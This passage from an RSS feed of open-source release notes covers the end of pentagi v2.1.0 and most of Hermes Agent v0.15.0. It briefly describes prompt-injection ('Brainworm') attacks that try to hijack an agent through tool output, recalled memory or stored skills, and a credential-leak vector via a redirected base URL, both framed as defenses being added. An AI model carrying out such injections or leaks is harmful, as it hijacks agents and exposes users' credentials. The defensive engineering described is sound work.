<li>Fixed a production crash on flow detail pages caused by the minifier stripping function names from document-title components.</li>
<li>Eliminated several table state races (filter clearing, pagination URL loops, batched URL updates) and a GraphQL codegen issue that emitted duplicate types and broke the dev server.</li>
<li>API token names are no longer lost when a subscription refetches the table mid-edit; the default button type no longer triggers accidental form submits.</li>
</ul>
<hr>
<h3>Security</h3>
<ul>
<li>Flow file uploads are hardened against path traversal and symlink escapes, with size and count limits enforced on both the backend and the frontend.</li>
<li>Knowledge vector search uses parameterized queries, removing prior string-interpolated SQL.</li>
<li>New endpoints enforce user/admin privilege scoping, with dedicated privileges (<code>anonymize.call</code>, toolcall access) added via migration.</li>
<li>Text anonymization is available to scrub sensitive data from stored knowledge.</li>
</ul>
<hr>
<h3>Documentation</h3>
<p>Extensive user-facing documentation was added, including a first-use guide, a pentesting prompt methodology guide, memory lifecycle across flows, capability boundaries, OAuth callback setup, a Docker mirror guide for restricted networks, OSINT integration scenarios, the flow Files tab, DeepSeek V4 migration and pricing, and a clarification that Vertex AI is reachable today only via an OpenAI-compatible gateway. Two design RFCs — flow concurrency with completion webhooks, and MCP client integration — were added under <code>examples/proposals/</code> as design proposals with no runtime code yet.</p>
<hr>
<h3>Upgrade Notes</h3>
<ul>
<li><strong>DeepSeek</strong>: deployments using the legacy <code>deepseek-chat</code> / <code>deepseek-reasoner</code> model names should migrate to <code>deepseek-v4-flash</code> / <code>deepseek-v4-pro</code> before the upstream deprecation on 2026-07-24.</li>
<li><strong>Database</strong>: connection-pool settings were consolidated to <code>DB_MAX_OPEN_CONNS</code>, <code>DB_MAX_IDLE_CONNS</code>, and <code>DB_VECTOR_MAX_CONNS</code> — verify against <code>.env.example</code>.</li>
<li><strong>Terminal timeout</strong>: <code>TERMINAL_TOOL_TIMEOUT</code> default raised from 600 to 1200 seconds; review if a lower value was intentional.</li>
<li><strong>Frontend development</strong> now requires <code>pnpm</code> (previously npm).</li>
<li>Database migrations apply automatically at startup. After pulling, rebuild and restart: <code>docker compose build &amp;&amp; docker compose up -d</code>.</li>
</ul>
<hr>
<h2>Contributors</h2>
<h3>Core Team</h3>
<ul>
<li><a href="https://github.com/asdek">@asdek</a> (Dmitry Nagibin) — User resources &amp; flow files backend, knowledge base API and vector search, ToolCall logging, anonymizer, assistant flow management tools, agent language policy, provider model updates, database connection pooling, and flow reliability fixes</li>
<li><a href="https://github.com/sirozha">@sirozha</a> (Sergey Kozyrenko) — File Manager component, resources/knowledges/flow-files UI, unified list tables and multi-column search, detail navigation, document titles, mobile UX, frontend platform upgrade (React 19 / Apollo v4 / Vite 8), and performance &amp; accessibility work</li>
</ul>
<h3>External Contributors</h3>
<ul>
<li><a href="https://github.com/mason5052">@mason5052</a> — Custom prompts fix, Ollama tool-support error clarity, DeepSeek V4 migration, flow file upload hardening, and extensive documentation and design RFCs (flow concurrency, MCP client integration, evidence chain)</li>
<li><a href="https://github.com/Kairos-T">@Kairos-T</a> — Documentation mermaid syntax fix (<a href="https://github.com/vxcontrol/pentagi/pull/259" data-hovercard-type="pull_request" data-hovercard-url="/vxcontrol/pentagi/pull/259/hovercard">PR#259</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/vxcontrol/pentagi/compare/v2.0.0...v2.1.0"><tt>v2.0.0...v2.1.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.15.0 (2026.5.28) — The Velocity Release]]></title>
<description><![CDATA[Hermes Agent v0.15.0 (v2026.5.28)
Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Releas...]]></description>
<link>https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555164/downloads/hermes-agent-v0150-2026528-the-velocity-release/</guid>
<pubDate>Thu, 28 May 2026 20:01:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.15.0 (v2026.5.28)</h1>
<p><strong>Release Date:</strong> May 28, 2026<br>
<strong>Since v0.14.0:</strong> 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)</p>
<blockquote>
<p><strong>The Velocity Release.</strong> Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line <code>run_agent.py</code> collapses to 3,821 (-76%) across 14 cohesive <code>agent/*</code> modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, <code>hermes --version</code> flipping the head-to-head benchmark against Codex CLI. <code>session_search</code> is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth <code>hermes proxy</code> upstream, retired-May-15 model detection + <code>hermes migrate xai</code>, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>The Big Refactor — <code>run_agent.py</code> is no longer 16,000 lines</strong> — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under <code>agent/</code>. Behavior is unchanged: every extraction keeps a thin forwarder on <code>AIAgent</code>, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</p>
</li>
<li>
<p><strong>Kanban grew into a real multi-agent platform — 104 PRs end to end</strong> — Triage auto-decomposes one task into a tree of sub-tasks. <code>hermes kanban swarm</code> creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through <code>/workers/active</code>, <code>/runs/{id}</code>, and <code>/inspect</code> endpoints. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</p>
</li>
<li>
<p><strong>Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls</strong> — Three new optimization rounds: defer <code>openai._base_client</code> import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. <code>hermes --version</code> cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</p>
</li>
<li>
<p><strong><code>session_search</code> rebuilt — no LLM, no cost, 4,500× faster</strong> — The old <code>session_search</code> was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no <code>mode</code> parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</p>
</li>
<li>
<p><strong>Promptware defense — Brainworm-class attacks blocked at three chokepoints</strong> — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (<code>tools/threat_patterns.py</code>) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new <code>security-guidance</code> plugin that pattern-matches dangerous code writes. (<a href="https://github.com/NousResearch/hermes-agent/pull/32269" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32269/hovercard">#32269</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/9151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9151/hovercard">#9151</a>)</p>
</li>
<li>
<p><strong>Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key</strong> — Stop keeping plaintext API keys in <code>~/.hermes/.env</code>. Install Bitwarden Secrets Manager (<code>bws</code> auto-installs lazily on first use), point Hermes at it with one bootstrap token (<code>BWS_ACCESS_TOKEN</code>), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip <code>secrets.bitwarden.override_existing: false</code> to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (<a href="https://github.com/NousResearch/hermes-agent/pull/30035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30035/hovercard">#30035</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31378" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31378/hovercard">#31378</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30364/hovercard">#30364</a>)</p>
</li>
<li>
<p><strong>ntfy as the 23rd messaging platform — push notifications without an account</strong> — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat <code>send_message</code> — to your phone, your watch, your desktop, your homelab. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/30625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30625/hovercard">#30625</a> → originally <a href="https://github.com/NousResearch/hermes-agent/pull/4043" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/4043/hovercard">#4043</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</p>
</li>
<li>
<p><strong>Skill bundles — <code>/&lt;name&gt;</code> loads multiple skills at once</strong> — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and <code>/writing-day</code> activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: <code>code-wiki</code> (Karpathy's LLM-Wiki, persistent indexed dev wiki), <code>openhands</code> (delegate to OpenHands for parallel coding agents), and <code>web-pentest</code> (OWASP-style web pentest recipes). (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</p>
</li>
<li>
<p><strong>TUI session orchestrator — multiple live sessions in one TUI window</strong> — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27642/hovercard">#27642</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32980" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32980/hovercard">#32980</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30084/hovercard">#30084</a>)</p>
</li>
<li>
<p><strong>Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin</strong> — Krea joins the image_gen lineup as a built-in plugin: <code>Krea 2 Medium</code> ($0.03) and <code>Krea 2 Large</code> ($0.06), auto-discovered, selectable via <code>hermes tools</code> → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into <code>plugins/image_gen/fal/</code>, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33506/hovercard">#33506</a>)</p>
</li>
<li>
<p><strong>Nous-approved MCP catalog with interactive picker</strong> — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run <code>hermes mcp</code> and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to <code>~/.hermes/.env</code>. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</p>
</li>
<li>
<p><strong>OpenHands orchestration skill</strong> — A new optional skill under <code>optional-skills/autonomous-ai-agents/openhands/</code> lets the agent delegate coding tasks to the OpenHands CLI alongside <code>claude-code</code>, <code>codex</code>, and <code>opencode</code>. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and <code>/delegate</code> flows. (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</p>
</li>
<li>
<p><strong>Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening</strong> — Six interlocking xAI improvements:</p>
<ul>
<li><strong>xAI Web Search</strong> lands as a <code>plugins/web/xai/</code> provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or <code>XAI_API_KEY</code> credentials, no new env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
<li><strong><code>hermes proxy</code> gains an xAI upstream</strong> — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
<li><strong>May 15 model retirement detection</strong> — <code>grok-4</code>, <code>grok-4-fast{,-reasoning,-non-reasoning}</code>, <code>grok-3</code>, <code>grok-code-fast-1</code>, <code>grok-imagine-image-pro</code> etc. are detected in doctor and chat startup, with <code>hermes migrate xai</code> to one-shot config migration to the supported model. No more silent 404s after the retirement date. (<a href="https://github.com/NousResearch/hermes-agent/pull/29277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29277/hovercard">#29277</a>)</li>
<li><strong>Opt-in <code>auto_speech_tags</code></strong> for xAI TTS — inserts light <code>[pause]</code> tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li><strong><code>xai-oauth</code> <code>base_url</code> pinned to <code>x.ai</code> origin</strong> — closes a silent credential-leak vector where <code>XAI_BASE_URL</code> could repoint OAuth-authenticated inference to an attacker-controlled host. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li><strong>OpenAI-style execution guidance applied to Grok models</strong> — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>Plus <code>x_search</code> degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE <code>code_challenge</code> round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and <code>WKE=unauthenticated</code> honor at both classifier sites. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28351/hovercard">#28351</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/27560" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27560/hovercard">#27560</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30619" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30619/hovercard">#30619</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30872/hovercard">#30872</a>)</li>
</ul>
</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>The Big Refactor — <code>run_agent.py</code> 16k → 3.8k</h3>
<ul>
<li><code>run_agent.py</code> from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive <code>agent/*</code> modules. <code>run_conversation</code> alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on <code>AIAgent</code>, every test-patch path is preserved, every external caller stays compatible. (<a href="https://github.com/NousResearch/hermes-agent/pull/27248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27248/hovercard">#27248</a>)</li>
</ul>
<h3>Agent loop &amp; conversation</h3>
<ul>
<li>Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26811" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26811/hovercard">#26811</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/26998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26998/hovercard">#26998</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27625" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27625/hovercard">#27625</a>)</li>
<li>Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (<a href="https://github.com/NousResearch/hermes-agent/pull/33816" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33816/hovercard">#33816</a>)</li>
<li>Host contract for external context engines — condenses 5 prior PRs into one extension surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33750/hovercard">#33750</a>)</li>
<li>Fallback immediately on provider content-policy blocks. (<a href="https://github.com/NousResearch/hermes-agent/pull/33883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33883/hovercard">#33883</a>)</li>
<li>Re-pad <code>reasoning_content</code> on cross-provider fallback to require-side providers. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/33784" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33784/hovercard">#33784</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33795" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33795/hovercard">#33795</a>)</li>
<li>Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li>Single-knob native vision for custom-provider models. (<a href="https://github.com/NousResearch/hermes-agent/pull/29679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29679/hovercard">#29679</a>)</li>
<li>Background review fork isolated from external memory plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/27190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27190/hovercard">#27190</a>)</li>
<li>Background review inherits parent toolset config for <code>tools[]</code> cache parity. (<a href="https://github.com/NousResearch/hermes-agent/pull/29704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29704/hovercard">#29704</a>)</li>
<li>Recover from providers returning list-type tool content. (<a href="https://github.com/NousResearch/hermes-agent/pull/30259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30259/hovercard">#30259</a>)</li>
<li>Treat partial-stream stub responses as length truncation rather than clean stop. (<a href="https://github.com/NousResearch/hermes-agent/pull/30998" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30998/hovercard">#30998</a>)</li>
<li>OpenAI execution guidance applied to xAI Grok / xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/27797" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27797/hovercard">#27797</a>)</li>
<li>ContextVars propagate to concurrent tool worker threads.</li>
<li>Preload <code>jiter</code> native parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/33692" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33692/hovercard">#33692</a>)</li>
<li>Expose context engine tools with saved toolsets. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/31194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31194/hovercard">#31194</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33719" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33719/hovercard">#33719</a>)</li>
</ul>
<h3>Sessions &amp; memory</h3>
<ul>
<li><code>session_search</code> rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (<a href="https://github.com/NousResearch/hermes-agent/pull/27590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27590/hovercard">#27590</a>)</li>
<li>Salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29182/hovercard">#29182</a> — opt-in JSON snapshot writer for sessions. (<a href="https://github.com/NousResearch/hermes-agent/pull/29278" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29278/hovercard">#29278</a>)</li>
<li>Persist <code>platform_message_id</code> for recall across gateway restarts. (<a href="https://github.com/NousResearch/hermes-agent/pull/29449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29449/hovercard">#29449</a>)</li>
<li>Inline memory-context mentions stay visible in conversation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28132" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28132/hovercard">#28132</a>)</li>
<li>Recalled memory labeled informational, not authoritative. (<a href="https://github.com/NousResearch/hermes-agent/pull/28583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28583/hovercard">#28583</a>)</li>
<li>Memory + context-engine tool injection gated on <code>enabled_toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30177/hovercard">#30177</a>)</li>
<li>Guard against external drift in <code>MEMORY.md</code> / <code>USER.md</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/30877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30877/hovercard">#30877</a>)</li>
<li>Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (<a href="https://github.com/NousResearch/hermes-agent/pull/30077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30077/hovercard">#30077</a>)</li>
